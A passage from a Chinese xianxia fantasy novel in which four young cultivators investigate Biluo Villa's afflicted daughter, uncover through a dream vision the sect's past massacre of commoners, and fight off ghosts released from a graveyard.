落无忧半信半疑地点了点头,继续专注于吃饭。
云殷寒自然知道白隐迢为何会话少,可他不知道自己为何频频失态?
为何心里堵得慌?
白隐迢对自己的情绪变化有些茫然,对云殷寒的表现就更茫然了。
他满眼清澈,“阿姐在说什么啊?”
白秋尽只感觉一阵无语。
她重重地叹了口气。
罢了,他们爱咋滴咋滴。
她又看了一眼正在开开心心吃饭的落无忧,眼底一片赞许。
还是像落落一般专注干饭好。
想着,白秋尽的胃口也好了些,不再理会两个举止奇怪的男人,和落无忧一起开开心心地吃着美食。
几人正在进食时,酒楼里来了几个黑衣男子。
他们点了几道菜后便在角落里的桌上坐下。
“大哥,碧落山庄真会给我们那个东西么?”
一个黑衣人有些犹犹豫豫地询问。
另一个黑衣人训斥道,
“声音小点!这里到处都是人,想必碧落山庄的眼线众多,小心你人头不保!”
第一个开口的黑衣人立马捂住了嘴巴。
那个背对着几人的黑衣人放低声音,可几人皆是修行之人,他说的话一字不落的落到几人耳中。
“能治好碧大小姐的病症,他们会不给我们?”
18. 碧落山庄(二)
之后,几个黑衣人便谈论着一些无关的话题了。
落无忧动了动嘴唇,极小声地说了句什么。
云殷寒抬眸,目光自落无忧的唇上一闪而过。
“对碧落山庄感兴趣?”
他的声音淡淡的,听不出什么情绪。
落无忧笑着点了点头,白秋尽便道,
“那我们就去会一会碧落山庄。”
四人火速吃完饭后,便沿着路人说的碧落山庄的方向走去。
与几人所想不同,碧落山庄并非是在碧落城中心,而是在碧落城城外。
落无忧一行人果断出城门,在午时时分便看见了碧落山庄。
碧落山庄掩映于玉树琼浆之中,若是夏天必定是一片绿意包围着。
碧落山庄门口两个守卫有些昏昏欲睡,见四人靠近才打起一点精气神来。
“会有人领你们进去的。”
一个守卫率先道,说着打开了门,欲放几人进去。
“这么草率?不用通报一下么?”
白隐迢轻声吐槽道。
然而,一踏进门,他们便知道为何会如此随便了。
只见,眼前的空地上排了两大长队,前方放着一个桌子,坐着一个白胡子老头,正在一个一个问问题。
这些排队的人服饰各异,来自各个地方,想来是碧落山庄往江湖上求助后,每个人都想来一试。
成功了不仅声名鹊起,还可得到碧落山庄中的某个宝物,不成功也没事。
四人只得自队末排起。
等到了日落时分才排到几人。
白胡子老人抚了一把白胡子,一副不骄不躁的模样,然而他身旁站着的青年却皱着眉头,焦灼万分。
老人抬头询问,“几位少侠可有什么过人之处?”
落无忧:“?”怎么有点不像是寻求郎中?
云殷寒行礼回道,“我们是为大小姐的病而来的。”
老人身旁的青年面露鄙夷,嘲讽道,
“来这里的人哪一个不是为了惜儿的病?”
落无忧嘻嘻一笑,反驳道,“此言差矣,公子你怎知他们是真心救治大小姐,还是为了名和利?”
青年脸色苍白,冷哼一声,却没有反驳。
他怎么可能不知道那些人前来是为了什么!
老人满脸慈祥,“各位有所不知,我问各位可有什么过人之处是因为……”他压低声音,“我家小姐那个病非平日症状,乃梦魇之症。”
“哦?”
落无忧摸了摸腰间的宫铃,“你们若是信得过我们,请让我们且去一试。”
老人和身旁的男子对视一眼,将几人带回了正厅。
一个婢女带着四人往碧大小姐碧梨惜的房间方向走去。
婢女在一个偏远的房间前站定,微微行了个礼,“小姐的房间到了。”
落无忧和云殷寒对视一眼,都从对方眼里看见了疑惑。
传闻碧梨惜乃碧落山庄的大小姐,被人放在手心里怕摔了,含在嘴里怕化了的娇娇儿,为何会住在如此偏远的房间?
“小姐夜夜做噩梦,如今不敢入睡,此刻应当还醒着。”说着,婢女抬手敲了敲门,大声询问,
“小姐,公子找了几位能人异士前来帮你看病……”
那个婢女话音未落,房里便传来一阵“噼里啪啦”东西落地的声音,随后一道愤怒的女声自里边传了出来。
“小姐才没病!小姐为何变成这样公子心里没点数么?”
几人暗道,谁家婢女敢如此骂公子?
外边的婢女急急的行了个礼,对几人道,
“小姐闺房以至,奴婢先行告退了。”
说罢便快速离开,仿佛畏惧着什么般的。
落无忧环顾四周,观察着院子的构造。
院子此刻满是落雪,竟无任何打扫过的痕迹。
杂草丛生,看来确实不符合碧落山庄掌上明珠的传闻。
而且,落无忧发现院中的枯树是呈极阴的形状排列。
她还在思考,耳边便传来“吱呀”一声,面前的房门被打开了。
一个身着碧绿衣裙的少女站在门口看着几人,眼神里尽是戒备。
她没好气地说,“几位回去吧,公子带来的人我们一概不用。”
说完她便合上门,却受到一股阻力,白秋尽温温柔柔地笑着,
“姑娘别担心,我们不是坏人。”
那女孩一听冷笑道,“你见过哪个人会说自己是坏人?”
“我们和你们公子真不是一伙的!”
白隐迢解释道。
“你家小姐可是夜不能寐?”云殷寒问道。
碧衣女孩点了点头,讥诮道,“方才红香不是同你们说过了?”
云殷寒面色未改,“我们可以帮你们找出原因。”
落无忧见女孩还不相信,便指了指院子里种着的树,
“这是谁种的?”
那女孩不解,却还是老老实实答道,“我并不知。”
“你可知,这些树排成的形状是会吸引阴灵的?”
碧衣女孩目瞪口呆,摇了摇头,她见落无忧说的头头是道,好像也与公子无关,便哭道,
“几位异士,求求你们救救小姐……”
白秋尽将她扶起,安慰道,“我们自会尽力的,请先让我们进去看看小姐。”
女孩立即做了“请”的动作,欲将几人引入房间里。
然而此时,一阵冷风吹来,檐角的风铃叮当作响。
落无忧往声音传来的方向看去,却见碧梨惜房间的东北方和西南方的檐角处挂着两串风铃。
她面色一凛,严声道,
“这两串风铃又是何人所挂?”
碧衣女孩见落无忧脸色郑重,不禁也焦急道,
“此物是夫人送给小姐的……夫人得了两串琉璃风铃,小姐很是喜欢,夫人便送给了小姐……至于挂上去嘛,是奴婢亲手挂上去的……”
女孩脸色一白,忙道,“是挂的问题么?”
落无忧摇了摇头,没说什么。
女子闺阁云殷寒和白隐迢不便进入,他们便在院子里寻找线索。
落无忧和白秋尽随着婢女走进房内。
屋内极亮,尤其是碧梨惜的床帏周围点满了蜡烛。
婢女解释道,
“小姐夜夜做噩梦,不敢睡去,极怕黑,我便点了好些蜡烛。”
落无忧疑惑,为何不出门走走,门外更亮啊?
不过下一瞬她看见碧梨惜的模样时,暗自吞回了心中的腹诽。
落无忧和白秋尽都暗自吸了口气。
却见碧梨惜此时正坐在铜镜前
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对镜贴花,她眼下两团乌青,面色苍白,头发飞舞,活脱脱像个女鬼。
“小姐?”
那婢女走近碧梨惜轻唤,过了几秒,碧梨惜忽的大叫起来。
“绮蝶!那儿有人!快将他赶出去!”
随着便是一阵“噼里啪啦”的声音,碧梨惜一把将梳妆台上的东西拂下,瓶瓶罐罐在地上咕噜咕噜地滚动着,有一瓶不知什么东西竟滚到了落无忧脚下。
绮蝶往碧梨惜指的方向看去,却见那儿空荡荡的,只有随风而动的帏帐,哪有半个人影?
她轻哄道,“小姐莫怕,那儿没有人……有奴婢陪着你呢……”
碧梨惜继续叫喊着,摔东西,绮蝶无法只好紧紧地抱着她,不让她砸东西。
碧梨惜眼角两行泪水缓缓流下。
落无忧弯腰拾起脚下的小瓶子,打开闻了闻,不动声色地将其揣在手中。
“她便是这样不眠不休么?”
落无忧一面观察四周,一面询问道。
绮蝶眼中也满含水光,点了点头,又立刻摇了摇头,
“她大部分时间都是这般疯癫痴魔,也有身子受不住便昏过去的时候。”
落无忧点了点头,“她上次昏过去是什么时候?”
绮蝶想了想,“昨晚上。”
“今晚有可能会昏倒吗?”
绮蝶摇了摇头,轻声道,“想必是明日才会昏的吧。”
落无忧点了点头,安慰道,“你别着急,最迟三日后,我们会治好你家小姐。”
闻言,绮蝶双目放光,惊喜道,“女郎所言当真?”
“千真万确。”
*
落无忧和白秋尽一走出门,便见云殷寒和白隐迢站在门外,白隐迢眉间带着喜气。
“可有什么收获?”
落无忧问道。
“落落,阿姐!我和云大哥在树间发现了一撮头发!”
落无忧点了点头,“果然不出我所料。”
“落落,你有眉目了?”白隐迢问道。
白秋尽接道,“落落应当想好应对之策了。”
落无忧摇了摇头,又点了点头,抬眸看着云殷寒,鹿眼亮晶晶的。
“想来,哥哥想的应当与我一样吧。”
云殷寒有些局促地别开眼,“我们先回去好好休整,明晚再来。”
“啊?”白秋尽微微笑了笑,唯有白隐迢一人还在苦苦思索。
“落落和云大哥在打什么哑谜啊?”
白隐迢不解至极,跟在三人身后,有些郁闷道。
落无忧哈哈一笑,停下来与他并肩,却也没告诉他真相,“明晚你便知道了。”
她不说还好,这一说,更将白隐迢钓成翘嘴了。
白隐迢眼巴巴地望着落无忧,落无忧却不愿给他任何提示。
几人打打闹闹,有说有笑地回了客栈,吃饱喝足后,两两回房休息,这一歇便到了第二日。
由于落无忧和白秋尽再三要求不要再大早上将两人叫起来吃早饭,于是她们两安安稳稳地睡到了午时才起。
白隐迢在饭桌上幽幽叹息,“阿姐在家中时可没有此时这般惫懒,想来是被落落带坏了。”
他这一句又收获了落无忧的一顿反驳。
几人吃过午饭后才悠悠出了碧落城,往碧落山庄走去。
19. 碧落山庄(三)
这次碧落山庄的态度却截然不同。
几人一到庄门外,便有仆人立刻将他们引入正厅。
正厅摆满了美味佳肴,酒水茶饮,几人一踏进门口,迎面便来一群人。
为首的是个白衣公子,样貌不凡,气度非凡,想来便是碧落山庄的公子碧连戚。
碧连戚身旁站着的是个雍容华贵的夫人,其笑语嫣然,便是碧落山庄的夫人,碧连戚的母亲莫氏。
两人脸上均带着笑容,迎上来,“多谢几位异士,若不是你们……”
说着,那莫氏竟开始垂泪。
“若无几位,惜儿……”
“夫人太抬举我们了。”
云殷寒谦虚道。
听闻此言,碧连戚忙不迭对莫氏道,“阿娘莫要再哭了,能治好惜儿乃是好事。应当开开心心的不是么?”
莫氏赶忙用手帕拭去眼角泪水,扯出笑容道,“正是正是。几位请——”
说着,连忙将几人引进大堂。
“几位能治好惜儿,我等万分感激。又听落姑娘说此事需得夜间进行,此时太阳还未落山,我们正好趁此时机宴请各位。”
碧连戚举着一杯酒,对几人道。
落无忧冷冷地看了一眼碧连戚,不知在想什么。
随即,她粲然一笑,露出一对儿尖尖的小虎牙,她抬起桌上的酒杯,与碧连戚隔空相望。
云殷寒抿着嘴,歉意道,“碧公子热情相约,我本不欲推辞,然而今夜还有事情要做,我,便以茶代酒。”
白秋尽也抬起茶杯。
四人中竟是两人饮酒,两人饮茶。
碧连戚豁达一笑,“无碍无碍。”
几人仰头喝下手中的茶酒。
落无忧看着桌上的东西,面无表情。
白隐迢凑近她,“落落你说这饭菜可有毒?”
落无忧摇了摇头,笑道,“那你方才不也喝了那酒?”
云殷寒余光瞥见凑的极近的少年少女,默不作声地垂下眼帘,睫毛微微颤动,暴露了其内心的慌乱。
落无忧看着桌上的烤羊腿,暗自思索。
为何碧梨惜生了如此重的病,而碧连戚和莫氏却如此大摆宴席?
感激他们摆宴席也应当是今晚之后,而不是在如此紧要的关头。
她还在想着,注意力便被拉了回来。
却见,白隐迢正给她夹了一块酥鸡腿。
落无忧看着白隐迢,鹿眼里尽是不解。
白隐迢冲她一笑,轻声道,“我方才见你多吃了些酥鸡,以为你爱吃。”
落无忧低声道谢,下一瞬,一阵冷香扑鼻而来,落无忧的碗里多了些烤羊腿肉。
落无忧侧身望去。
却见,云殷寒刚收回手,他的目光未放在她身上,也未曾同她说话,却有些莫名其妙地夹给她烤羊腿肉。
落无忧看着被塞的满满当当的饭碗,有些不知所措。
倒是白隐迢抬眸看了一眼坐在落无忧另一侧的云殷寒,笑容僵在脸上。
过了半晌,落无忧才夹起碗中切好的烤羊腿肉往嘴里放去,心底滋生丝丝香甜。
正当几人还在吃饭时,一个婢女神色慌张地从外边跑进来,在莫氏耳边低语一会。
莫氏脸色霎时苍白起来,察觉到失态,她恢复神色,歉意道,
“诸位,我院子里有点事,失陪了。”
“夫人请随意。”云殷寒淡声道。
说罢,莫氏起身往外走去,她的背影竟有几分慌忙。
几人又待了一会,暮色朦胧起来,几人起身。
“碧公子,时间到了。”
碧连戚起身亲自带几人往碧梨惜的院子里走去。
途中经过一个院子时只听一阵稀里哗啦的丢东西声自里边传来。
落无忧抬头看去,那院子比起碧梨惜的气派了不少,辉煌灿烂的灯火自里边溢出。
她不禁疑惑道,“这院子是谁住的?”
碧连戚仿佛没料到她的注意力竟在这院子上,只好回答道,
“这是母亲的院子。”
落无忧“哦”了一声,再往院子里看了几眼,门却掩得严严实实的,看不到院内的一点动静。
一行人又走了一会,方才至碧梨惜的院子。
她的院子在晚上更显得愈发的诡异恐怖。
落无忧忽然冲碧连戚一笑,“碧大公子确定要在此地待着?”
她语气里暗含深意。
碧连戚看着满院的萧索,不禁有点打退堂鼓,他面上虽不动声色,后背却已沁出一层细密的冷汗。
“既然几位在此了,那我便放心了,我回堂上等待各位的好消息。”
说完,他待着小厮往外走去。
直至他们的身影消失在门口,落无忧才收回目光。
她轻声道,“白隐迢,你可否想办法跟踪碧连戚或者莫氏?”
白隐迢眸色微动,“落落,是在怀疑……?”
落无忧点了点头,“我总觉得他们有问题。”
她原本想让白隐迢留下的,然而白隐迢胆子太小了,留在这里恐怕会更害怕。
白隐迢点了点头,宛如鬼魅般往外窜去。
“那我们该怎么做?”白秋尽握紧未凋剑,问道。
“白姐姐在外边等着,以防什么东西跑出来。”落无忧看着门口安排着,“哥哥所修功法阳刚之气较盛,先与我一同进去。”
云殷寒和白秋尽点了点头。
却听“吱呀——”一声,三人往房门处看去,却是白着一张脸的绮蝶。
“三个能人异士……小姐她,她昏过去了……”
与此同时,一阵阴风忽的吹过,檐角的风铃随风而动,发出清脆的声响。
落无忧闻言立即跑进屋里。
夜晚的屋内更加诡异。
几只白烛在屋子中央摆着,火焰随开关门而悠悠跃动起来。
云殷寒不便靠近碧梨惜的床,边在层层叠叠的帏帐外静静地站着。
落无忧看了一眼正在床上躺着,脸色惨白如鬼,眉头皱成一团的碧梨惜,对云殷寒道,
“我打算进入其梦中,劳烦哥哥多为我留心。”
云殷寒好似早料到她想怎么做了,便点头道,
“不可强行干预她的梦境。”
落无忧点头应允,摸下腰间的宫铃递给云殷寒,嘱咐道,
“一个时辰内我若未醒,你便摇此铃叫醒我。”
云殷寒接过落无忧的宫铃,掩藏在下垂的衣袖中的手指微微摩挲着那个宫铃。
他垂着的睫毛簌簌而动,半晌才轻声道,
“一切小心。”
落无忧点了点头,转身走近床
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。
她拖过一把椅子,坐下后轻轻闭上眼睛。
她的神识化作一缕紫光进入碧梨惜的眉头。
落无忧的眼前是无边无际的黑暗。
不知过了多久,落无忧不知是适应了黑暗,还是梦境变亮了一些。
她可以看见一些模模糊糊的影子。
却是一团团巨大的黑影。
下一瞬,梦境猛然变亮,落无忧的双目被刺得生疼。
但又是望不到头的白色。
落无忧只觉荒谬至极。
这一想法方在她脑子里冒出,一道刺耳的声音又从她耳边传来。
那是极尖的女子声音。
“碧家——我来索命了——”
落无忧转身看去,只见一个红衣女子正离她极近。
那女子长发飘飘,皮肤是接近透明的白。她指甲极长,嘴唇边上挂着一道血痕,异常阴森恐怖。
吓得落无忧心脏通通跳,她脚下一动,往后放滑去。
那红衣女子静静地盯着落无忧,目光里竟有些懵懂,过了许久,她才歪了歪头,不解道,
“你是谁?为何在此地?”
落无忧努力平复心跳,也不解道,
“你可以看见我?”
那红衣女鬼点了点头,又重复问道,
“你是谁?为何在此地?”
落无忧暗道,为何在碧梨惜的梦境里还可以看见我?
“我误闯了。漂亮姐姐,你又为何在此地?”
红衣女鬼被落无忧这么一问,竟更加迷茫了,她苦苦思索着,却想不起自己为何会来此,只好老老实实道,
“我忘记了。”
落无忧莫名的感觉这红衣女鬼竟有些许的可爱。
她便笑道,“漂亮姐姐方才还在说要来找碧家索命呢。”
红衣女鬼眼中渐渐恢复清明,“对!我是来找人索命的!”
“为何要找碧家索命?”
“为何找……碧家……索命?”
红衣女鬼歪头思考,眼中又浮现出不解来。
落无忧叹了口气,真是只蠢鬼。
然而,下一瞬,她便听见一道熟悉的声音,
“我来告诉你为何。”
落无忧立即往声音来源处望去。
却见一道黑影正在上空中盘旋着。
女子一袭黑裙,墨发极长,肤若白雪,额间的六芒星印记微微泛着暗红色的光芒。
正是那个古庙中逃走的魔!
“我还想去找你呢,没曾想你竟也在此地!”
黑衣女子冷笑道,“你不是好奇碧家人做过什么伤天害理的事?我这便让你瞧瞧!”
下一刻,一道暗红色的光芒猛然飞向落无忧,消失在其眉间。她立即被裹挟而走。
再次恢复意识时,耳边却是密密麻麻的呼救声、哭泣声、害怕声以及一道道平静的“杀吧”“都杀了”。
落无忧眼前的是一个巨大的土坑,许许多多的人被围在土坑边缘。
土坑里已压着一层厚厚的尸体。
仿佛牲口般被围着的人群均穿着平民百姓的服装,落无忧一探,果真没有一丝灵力。
他们均是没有修为的凡人!
每个人身上都是害怕、痛苦、悲伤等许多情绪。
巨大的绝望在此地蔓延开来。
20. 碧落山庄(四)
围着那些凡人的是穿着带有“碧”字的修士。
他们眉眼间带着得意的笑,以最平常的语气说着最恶毒的话:“一个一个都杀了。”
他们不顾凡人的反抗与痛苦,尸体成山,血流成河,哀鸿遍野。
落无忧有些看不下去,心底涌起阵阵寒意。
黑衣女子的声音却在耳边回荡着,
“别闭眼啊!看清楚点,看清楚碧落山庄的罪行!”
落无忧轻声问道,“这便是碧梨惜夜夜做的噩梦吗?”
黑衣女子嘲讽道,“可不只呢。她做的梦可精彩了。”
下一刻,落无忧看见一个白衣白发的青年,他身后带着一个少女,少女黑衣黑发,额间是淡淡的六芒星印记,竟是她!
却不见煌瞳的身影,落无忧猜想这可能是苍溟泽大战之后,煌瞳已被封印。
然而,这黑衣女子和师祖是什么关系?师祖为何会与一只魔在一起?
两人一齐走近那些修士。
为首的修士甚至眼熟,乃苍溟泽上正义凛然,口口声声说煌瞳乃魔兽的碧长老碧如季!
事情越发的出乎落无忧的意料。
碧如季朝帝无邪微微颔首,朗声道,
“帝宫主,你怎么来了?”
耳边传来绝望的呻.吟声,滚滚血腥味弥漫着四周,目下皆是尸体与鲜血。
帝无邪皱着眉头,冷声道,
“碧如季,我劝你就此停手,如此多的凡人被你残害,你究竟意欲为何?”
碧如季仿佛是听了什么很好笑的事情一般,仰头哈哈大笑,笑得双肩微颤,方才开口,
“帝无邪,你一个正派之人与魔勾结在一起,还以魔兽为灵兽,你有什么资格说我?”
“你乱杀无辜,屠杀碧落城中的凡人,致使此地血流漂杵,尸骨如山,碧如季,你可真是好一个正道之人啊!”
帝无邪怒火中烧,冷然道。
“帝无邪这是你是非管不可么?”
“自然。”帝无邪声音淬了冰般的冷。
说罢,碧如季打了个手势,那些修士宛如蜂子般涌向帝无邪和黑衣少女。
只听帝无邪冲她道,“墨漓,你往后些。”
原来她叫墨漓。
落无忧心里暗想。
说罢,帝无邪手中凭空出现一把长银枪,他持枪往人群里闪去,身形如鬼魅般,速度极快。
帝无邪手中的长银枪猛然发出一道光芒,他周围围着的那群修士被瞬间震开。
源源不断的修士侵袭而来,其中中低阶修士大多被帝无邪的灵力伤到以至无法起身,然而这儿竟然也有不少高阶修士。
一个高阶修士猛然冲他而来,银枪咻的刺向他,将他掀翻。
帝无邪手一转,银枪擦其肩膀而过,那人肩膀的衣服被一下子撕破,露出他肩膀上一个黑色的骷髅头。
落无忧脸色一变。
“魔阈?!”帝无邪亦是不可置信地开口,“碧如季,你好大的胆子!身为正派之人,竟敢勾结魔阈,残杀凡人!”
碧如季见勾结魔域一事已曝光,只好破罐子破摔。
“你既已知道,那便留你不得了。”
说着,碧如季冲那些人比了个手势,无数的修士再次朝帝无邪涌去。
帝如季的目光扫过站在人群之外的黑衣少女,不禁冷笑道,“还有她。一个都别放过。”
他声音一落下,便有许多修士往墨漓方向跑去。
落无忧早已发现了,那时的墨漓眼神清澈,眉眼稚嫩,墨发及腰,连那象征着魔族的六芒星印记也极为黯淡。
眼见那些修士朝她而来,帝无邪显然慌了。
“墨漓别怕,用我教你的招数。”
落无忧看去,墨漓施法的动作,结出印果然与自己学的有几分相似。
多么可笑,一群义正严辞的正道之人做的却是伤天害理之事,而天生为魔的少女却用正道之术来拯救凡人!
墨漓乃天生魔体,修习正道之术本就异常缓慢,加之她修习的时间并不长,此时被几名魔域之人围攻愈占下风,逐渐不敌。
一人手中的剑气陡然撞向她胸口,将她整个人掀飞出去。
墨漓猛然吐出一口鲜血。
帝无邪手中的银枪宛如长龙般飞舞着,将身旁的几人震开,方才跑去扶起魔漓。
“你怎么样?”
帝无邪眼底尽是担忧。
墨漓摇了摇头,轻声道,“先救百姓。”
帝无邪点了点头,再次挥舞着银枪。
碧如季嘴角带着淡淡的笑。
“那么多人,我就不信耗不死你!”
碧如季说的不错。
他带的人极多,单打独斗虽不是帝无邪的对手,可那么多人完全可以使帝无邪灵力枯竭而亡。
帝无邪的动作明显的变慢了,他的脸色苍白如纸,豆大的汗珠自他额间溢出。
他的体力显然已达到极限。
碧如季的眼神逐渐变得狠戾起来,只见他手持宝剑越过众人,直刺帝无邪而来。
帝无邪立即转动手中的长银枪,枪剑相撞,发出刺耳的响声。
下一瞬,碧如季弃剑而来,一掌劈在帝无邪胸口。
帝无邪往后跌去,半跪于地,苍白的嘴边溢出一抹鲜血。
片刻后,帝无邪便摇摇晃晃地站了起来,又猛然吐出一口血。
银枪立即飞回他的手中,帝无邪宛如一阵风般朝碧如季席卷而去。
长银枪中灵力翻滚,泛着冷光,直朝碧如季刺去。
碧如季立刻抵挡,然而银枪以破万法的威力朝他压去,碧如季手中的宝剑瞬间节节消散,银枪唰的刺穿碧如季的身体,将其扎在地上。
帝无邪这一招用光了所有的力气,他宛如流星般往下跌去。
“帝无邪——”
墨漓跑向摔落的帝无邪,可他已合上了眼。
墨漓额间的六芒星印记愈发的变亮,她的墨发寸寸疯长,双目变得像黑洞一样。
忽然开始起风了。
墨漓将帝无邪放在地上,缓慢地站起来,长至脚踝的墨发随风飞扬,仿佛疯长的海草。
“你们,都该死。”
墨漓的声音却是异常的平静。
下一刻,她鬼魅般的身影在人群中闪着。
黑影所过之处,那些修士个个倒下。
墨漓抱着帝无邪,一步一步往来时的方向走去。
残阳如血。
白衣黑衣,白发黑发交缠一起,难舍难分,可他们背后是遍地的尸体与鲜血。
残余的百姓纷纷朝着两人的方向磕头,随
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后相互搀扶着回家。
*
眼前的景象渐渐远去,落无忧半晌都没恢复过来。
“怎么,吓傻了?”
墨漓带着阴阳怪气的声音将落无忧的思绪拉回来。
此刻看着墨漓,落无忧竟有说不出的难受。
“师祖……”落无忧斟酌了一下,“他当真是被碧家人所杀么?”
墨漓眼底众多复杂的情绪一闪而过,她的声音出奇的平淡,“你方才不是看到了吗?”
落无忧心里闪过青枫宫里对师祖一生的概括,还是有许多疑惑。
但她还是先压下了心中翻涌而上的问题。
“所以,碧梨惜的梦魇之症便是碧如季作恶多端引起的吗?”
可是好像还少了什么。
墨漓冷哼一声,幽幽问道,“你觉得鬼可怕还是人可怕?”
落无忧一怔,半晌说不出话来。
*
白隐迢尾随碧连戚几人而去,却见他们在莫氏的院子外停了下来。
院子里摔东西的声音依旧断断续续。
“你们在这等着。”
碧连戚说完边往院子里走去,留下几个仆人在外边。
白隐迢心中好奇,便轻点脚尖往屋顶上跃去,趴在屋顶上观察。
“吵什么?”
碧连戚声音非常凶猛,与在落无忧几人面前的温润公子相比简直像换了个人。
紧接着一道少女音自里边传了出来,“什么时候才放我出去?!”
少女声音里带着哭腔。
“诶哟,小祖宗,如今城里人多眼杂,你怎么能出去!”
莫氏温柔哄着。
“我不管!我就要出去!”少女不依不饶。
“你这几日给我消停些,这些日子山庄里都是来给看病的能人异士,你非要叫他们发现?!”
碧连戚的声音依旧严厉。
“哥,娘,你们不能这么对我!”少女不满委屈的声音再次传来。
白隐迢心中一惊,她究竟是谁?
碧落山庄不是只有一个小姐么?
还没等他想出个所以然,碧连戚便从房间里走了出来。
紧跟着的是一连串的拍门声以及少女愤怒的哭腔声,“你们不能一直关着我!”
“哥!娘!那些东西岂是你们能阻止的!”
“让她给我闭嘴。”
碧连戚头也不回,声音极冷。
“哥——唔——”
白隐迢顾不上思考,轻轻跳下,再次跟上碧连戚。
他在黑夜中跟着碧连戚在山庄里转了许多弯,一路上见到的人越来越少,灯火越来越少,一点点地走到山庄的边沿处。
眼前是个黑压压的树林。
“公子?”
他身旁的一个仆人提醒道,“近日山庄中客人众多,此刻不适合来此地。”
碧连戚背对着他们摆了摆手,“我心中有数。你们在出口守着。”
碧连戚一人往前走去。
白隐迢怕被发现,只得绕道远远的跟着他。
然而,一走进林子里白隐迢心底便涌起一阵恐惧感来,后背上薄薄的冷汗沁出。
只见林中,鬼火悠悠,牌位立满,这竟是个坟场!
碧连戚大半夜的来坟场做什么?!
21. 碧落山庄(五)
落无忧进入碧梨惜梦境里已经许久了。
云殷寒看着随风飘扬的帏帐,手指微微摩挲着宫铃上的花纹,眼底晦涩未明。
*
“你的意思是……?”
落无忧愣愣地盯着墨漓,墨漓似笑非笑,眼底满是嘲讽之色。
落无忧还欲再问,却听一阵清脆的宫铃声传来,声声入耳,连绵不绝。
下一刻,她猛然惊醒。
落无忧抬眸,却见随风飘动的鲛纱后一袭白衣静静站着,他抬眸望向落无忧,手中的宫铃散发出淡淡的金黄色光芒。
下一刻,只听门外的白秋尽“啊”的惊叫了起来。
随即便传来一阵急促清脆的风铃声。
云殷寒转身往门外走去,并立刻紧关房门。
落无忧回过神来,看了一眼碧梨惜,却见她眉头紧皱,额间覆满黑雾。
落无忧正在思索该如何叫醒碧梨惜。
外头的动静却大了起来。
檐角的风铃晃动不已,院子里黑影无数,皆在各个地方窜来窜去。
白秋尽手中未凋剑剑光大盛,正冲着那些黑影打来打去。
“别让这些黑影进入房中。”
云殷寒声音一落,手中的残星剑便咻的飞出,一把刺向正靠近窗户的黑影。
那团黑影发出一声刺耳的惨叫声,立即往后退去。却有源源不断的黑影继续涌来。
*
白隐迢手心冷汗沁出,使人黏腻不安。
他屏住呼吸,看着眼前一幕,心中震惊不已——
碧连戚站在坟场中,周围绿光幽幽。
而在他面前是一个黑洞。
那是一座张开的坟墓,宛如张盆大口。
无数黑雾自其间飘出,源源不断往四周扩散。
碧连戚脸色难看至极,隐隐有些狰狞。
白隐迢不敢多留,只好隐在黑夜里往后撤去。
*
“这些鬼魂是从何处来的?”白秋尽手中的未凋剑微微颤动着,她微微喘息,脸色有些苍白。
云殷寒摇了摇头。残星剑带动一团团淡蓝色的光龙往黑影处飞去。那些黑影凝固一瞬,往后飘去。
鬼魂的声音愈发杂乱起来,男女老少皆有,宛如正沸的水。
落无忧看见碧梨惜额间的冷汗汇成一股股往下流去。
她拾过床边桌上的手帕,为碧梨惜轻柔地擦掉了汗水。
落无忧眉头微皱,轻轻地跺了跺脚,往门口走去。
却见,院子里黑影无数,声音混乱。
落无忧忍不住轻喝,“怎会有如此多的鬼魂?”
随即,紫电闪闪,落无忧手中的栖汩鞭猛然疯长,宛如一条狭长的紫电。
栖汩鞭唰的一声甩到靠近窗户的黑影上,那个鬼魂霎时间被打散,紫色光芒映在窗纸上,使房间里刹那间宛如白昼。
落无忧脸上神色凝重,她抬眸看向云殷寒。
云殷寒手中的残星剑未停,察觉到落无忧的目光,他浓密修长的睫毛颤了颤,轻声道,“你先进屋照看碧梨惜,外头有我。”
落无忧又看了一眼院子里的黑影,“哦”了一声,往屋内走去。
白隐迢怎么还没回来?可是遇到什么事了?
想着,落无忧走进床边,然而碧梨惜仍旧没有一丝要醒的迹象。
落无忧在床前轻轻踱步,鹿眼一闪一闪的,心中却依旧还有疑问。
就在此时,只听咻咻几声,随后便见几道青色光芒在窗纸上一闪而过。
“阿迢!”
白秋尽惊呼。
落无忧不由自主地往窗边走了几步。
白隐迢回来了。
一切该有定论了。
“阿姐!云大哥……”白隐迢微微喘气,“落落呢?”
云殷寒冲他颔首,随后不动声色地移开目光,继续结印抵御黑影。
“她在屋内呢。”白秋尽温声道。
白隐迢点了点头,一面往屋内走去,一面叫道,“落落,你让我跟着碧连戚果真没错!”
“你发现什么了?”
白隐迢走进屋内,将房门关上,迎面而来的却是随风轻舞的鲛纱,扑鼻而来的是女儿家闺房的香味。
他有些错愕,只好止步于此。
落无忧走进白隐迢,却见白隐迢耳尖泛红,她有些疑惑地看了一眼白隐迢。
白隐迢摸了摸鼻子,轻声道,“他果然有问题。”
落无忧不解地盯着白隐迢,他当下把今夜跟着碧连戚后的所见所为一一说与她听。
落无忧听后,沉默了许久,白隐迢也不敢打断她的思考,只好在一旁静静等待。
多出来的少女?
“白隐迢,你可看清那个少女的模样?”
白隐迢默了一瞬,回想起见到少女时的情景,颤声道,“好像、好像是与莫氏有几分相似!”
落无忧穿过层层叠叠的帷幕,跑近床边。
她碧梨惜凑近一看,心下却冷了一瞬。
“落落,怎么了?”
白隐迢不解道,声音里带着一丝慌乱。
落无忧重新走出房间,白隐迢担忧地跟在其后。
外边的黑影依旧源源不断,云殷寒和白秋尽的脸色都有些苍白,两人正站在屋子外沿,双双结印,一层淡淡的结界徐徐形成。
三人疑惑地盯着落无忧。
落无忧摇了摇头,轻声陈述道,
“这碧落山庄里竟还有另一名‘大小姐’......”
“可世人皆知碧落山庄仅有一个大小姐碧梨惜啊。”白秋尽不解。
落无忧继续道,“我在碧梨惜的梦中看见了神庙底下森森白骨的形成原因。”
几人倒吸一口凉气。
云殷寒垂眸,浓墨般的眼睛静静地盯着落无忧,低声问,
“可是与碧落山庄有关?”
落无忧微微颔首,将在碧梨惜梦中的所见所闻告诉几人。
几人的脸色都不好看。
他们都是修仙之人,生于正道世家,自小接受的均是拯救苍生之言,此刻却听到了这般血腥屠杀之事。
“你是说碧落山庄和魔阈勾结,残杀苍生?”
白秋尽的声音带上了一丝严肃。
魔阈几百年来与六大楼阁势不两立,但其结构特殊,因此六大楼阁中都会混入“影子”。
碧落山庄也不是什么小宗门,在江湖中也算名声在外,怎会与魔阈勾结?
此事非同小可。
“我们是不是又收集到了一块记忆碎片?”
白隐迢的关注点有
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些奇特,经他这一提醒,落无忧又将几百年前的事和现在的事情联系起来。
